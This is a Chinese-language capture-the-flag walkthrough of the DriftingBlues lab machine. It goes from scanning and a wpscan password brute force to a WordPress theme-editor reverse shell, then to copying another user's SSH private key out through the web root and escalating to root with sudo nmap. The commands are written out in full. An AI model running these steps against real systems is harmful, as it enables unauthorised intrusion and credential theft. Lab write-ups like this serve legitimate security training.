主机探活
nmap -sP 192.168.159.0/24
目标主机IP为：192.168.159.165
端口发现
nmap -sP 192.168.159.0/24
开放端口为：21、22、80端口
21端口
匿名登陆
ftp 192.168.159.165
成功登录
查看，信息收集
发现只有一张图片，下载后也没有发现什么有用的信息，就一普通图片
80端口
nikto
nikto -h 192.168.159.165
发现该网站下有一个 blog，且是 wordpress 搭建的
目录扫描
dirsearch -u 192.168.159.165
扫出了一个 blog 网站，访问一下
发现未加载 css 等信息，猜测有一个域名，浏览源码，找到域名
driftingblues.box
写到本地 hosts文件中，再次访问
对 blog 再做一次目录扫描
http://driftingblues.box/blog/
基本可以确定是 wordpress 了，我对这些路径都进行了访问与信息收集，但是没有获得什么有效信息（只获得了登录页面可以爆破用户名）
wpscan
使用 wpscan 工具来对 wordpress 站点进行扫描（主要就是用来爆破用户名和密码）(也可以用burpsuite爆破，我为了了解下这个工具，所以用工具了)
apt-get install wpscan -y # 下载
wpscan --help # 查看参数
wpscan --url http://driftingblues.box/blog -e u
# --url 指定目标url
# -e 爆破模式 -u 爆破用户名
用户名：albert
wpscan --url http://driftingblues.box/blog -e u -P /usr/share/wordlists/rockyou.txt # 爆破密码
用户名：albert 密码：scotland1
访问http://driftingblues.box/blog/wp-login.php，输入账户密码，成功登录
这个网站提供了网站风格的配置选项，我们查看一下（Appearance --> Theme File Editor）
我们修改它的 404 notfound 页面
改为反弹shll的php代码
本机打开端口监听，并随便访问一个不存在的网址，如：driftingblues.box/blog/index.php/202/17/crosscut-saw/
nc -nlvp 7777
成功获取shell
提权
setuid
find / -perm -u=s -type f 2>/dev/null
没有可以利用的东西。。。
计划任务
crontab -l
cat /etc/crontab
也没有可用信息。。。
sudo
sudo -l
没有可用信息。。。
信息收集
如图，在 /home 目录下找到一个用户，可读可执行
之后在该用户目录中发现存在 ssh 配置文件夹，且可读可执行
进入 .ssh 文件夹，发现存在公私钥信息文件，且私钥文件可读可执行
ssh
将该私钥文件移入web目录下，主机进行下载
cd /var/www/html/blog
cp /home/freddie/.ssh/id_rsa .
wget http://driftingblues.box/blog/id_rsa
ssh远程连接，用户名：freddie
ssh 192.168.159.165 -l freddie -i id_rsa
发现无法成功连接，给出的提示信息时 id_rsa 太 open 了，要求该文件不能被其他文件访问，所以要修改该文件的权限
# 直接把权限改为 400
chmod 400 id_rsa
重新连接，成功登录
sudo-nmap
sudo -l
可以利用 nmap 提权，访问 https://gtfobins.github.io/gtfobins/nmap/ 找到提权方式
选择一个进行提权
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
成功获取 root 权限
换个友好的命令行
python3 -c 'import pty;pty.spawn("/bin/bash")'
结束！！！